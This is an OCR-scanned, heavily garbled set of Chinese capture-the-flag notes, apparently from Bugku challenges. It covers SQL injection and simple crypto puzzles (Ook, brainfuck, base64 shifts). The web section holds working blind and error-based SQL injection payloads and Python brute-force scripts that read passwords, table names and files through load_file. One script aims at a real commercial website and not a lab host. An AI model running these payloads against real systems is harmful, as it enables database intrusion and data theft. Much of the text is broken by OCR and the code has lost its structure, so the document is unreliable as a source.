B3 1" or(length((select(group_concat(table_name))from(information_schema.tables)where(table _schema=database())))>0)#
wherefiitjg! ! ! RMEAST

N2 T —4H, substring from for: 1’or(substring((select(database()))from(1)for(1))>'a’# I:, forthEik

ﬁwp :


http://wp.bugku.com/phpmyadmin/
http://www.cnblogs.com/xiangxiaodong/archive/2011/02/21/1959589.html

import requests
url = "http://47.93.190.246:49167/index.php"
r = requests.Session()
result = "'
for i in range(1,33):
for j in range(37,127):
payload = "admin'~(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))
print payload
data = {"username":payload, "password":"asd"}
html = r.post(url,data=data)
if "password error!" in html.content:
result += chr(j)
print result
break

MySQL ASCI() returns the ASCIl value of the left most character of a given string.
MID() extracts a substring from a string. The actual string, position to start extraction and length of the extracted string - all are

specified as arguments.
Hsekpomzlcamer 7
RENZ, RFERT:

1. ascii(string), RS SCBHIRIGHRE T
2. string from int

3. AT SRS AE R T AT XX X" in html.content

SRJE AU T E Y, SRJEmdSiE
WAETEN
1. REAEE

import requests,string
url = "http://103.238.227.13:10088/?id="
s = requests.session()

str =
#dict = string.letters + string.punctuation + ' '
for i in range(1,147):
for j in range(32,126):
res = s.get(url + "1/**/and/**/ascii(substring(load_file(@x2F7661722F746573742F6B65795F312E706870)from({0}) fo
r 1))={1}".format(i,j))
#print res.text
if 'td' in res.content:
str += chr(j)
print str
break
print str

2. REEATHIAE

http://103.238.227.13:10088/index.php?id=1%0Aand%0Aextractvalue(1,concat(0x7e, (select%BAconcat(0x7e,substr((load
_file(@x2F7661722F746573742F6B65795F312E706870)),90,150),0x7¢)),0x7e))

VN
SR


http://www.dmd5.com/md5-decrypter.jsp

id=374’ : 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near " ORDER BY release_date DESC’ atline 1, F¥*t ' # X1
id=374%20and%20(1) : SHAEFRL T

import requests

import string

allString=string.digits + string.letters
flag=""

for i in range(1,33):
for strl in allString:
url = "http://www.interplay.com/games/support.php?id=374 and ascii(substring((select group_concat(table_
name) from information_schema.tables where table_schema=database()) from {0}))={1}#".format(str(i),ord(strl))
try:
res=requests.get(url)
print res.text
if 'Technical Support' in res.content:
flag+=strl
print flag
except:
continue
print 'flag:' + flag

trimf¥) Hid A

http://120.24.86.145:9002/show.php iX 2 AMEHE R, flagiR ] &
social

g

BORRNS, TR

X%

EEAEHK? 22

% 4 3% bugkucn BITT, HCRBEEE

LSO NEISTIE S

ANITEH, #TH?

TR, EEANKE, RIS, SR JRIKIEAE bketftest@163.com HEIE A4 T0 K fiflaght, T H G lagiy B ARBESS
Hoe—F, MRS HEHANBRR: 5504, RIS 55 04 5% 5 16 M4 A & 25 .
H Etop10055 A%, AR5 —A—ANRE, KIS AN IR0, 5 A 5wl il DL Blkey, HBAHA U JLUL, 12184,

a7 B IR A1 T 2%k

RIFMEF MR EERE, SRR E, Eigooglelf, $F|—github, FH MU IOREE, BEAIKIE R, FTIFEN Eros
BEAT T

Crypto

iH

JEE S


http://120.24.86.145:9002/show.php
http://blog.sina.com.cn/s/blog_6714fba701018pip.html
http://bugku.cn
mailto:bkctftest@163.com

S RN S
A=
ok

Ook!
https://www.splitbrain.org/services/ook

XA R E

brainfuck
https://www.splitbrain.org/services/ook

eIk
48 R (AAG A G baseb4 ==
import base64

' €6Z91i~]8R~U~QHE{RNY{QXg~QnQ{ "XV1RX1p~XI5Q6Q6SKY8FUAA"

str

S =

for i in range(len(str)):
s+=chr(ord(str[i])+(ord('=")-ord('A")))
print s

print base64.b64decode(s)

— Btbase64% 14
base64-> )\t (unescape)->16ti]->unescape->ascii->Decode HTML->Decode HTML

J?

short Ook!
https://www.splitbrain.org/services/ook

+[-

brainfuck

https://www.splitbrain.org/services/ook
OB T

gndke€righmtkwwp)z gndk{% 7 flag
gndk 1105 I ASCIRG 43 51l &: 103 110 100 107
flag(®) 1034 ASCIIES 43 )2 = 102 108 97 103

str = 'gndk{rlghmtkwwp}z'  //€#x{
s = '
for i in range(len(str)):
s+=chr(ord(str[i])-i-1)
print s
print s

Zipth n =
JEHT P 4N504B )5 H 1094 2 00
KREBFHNES
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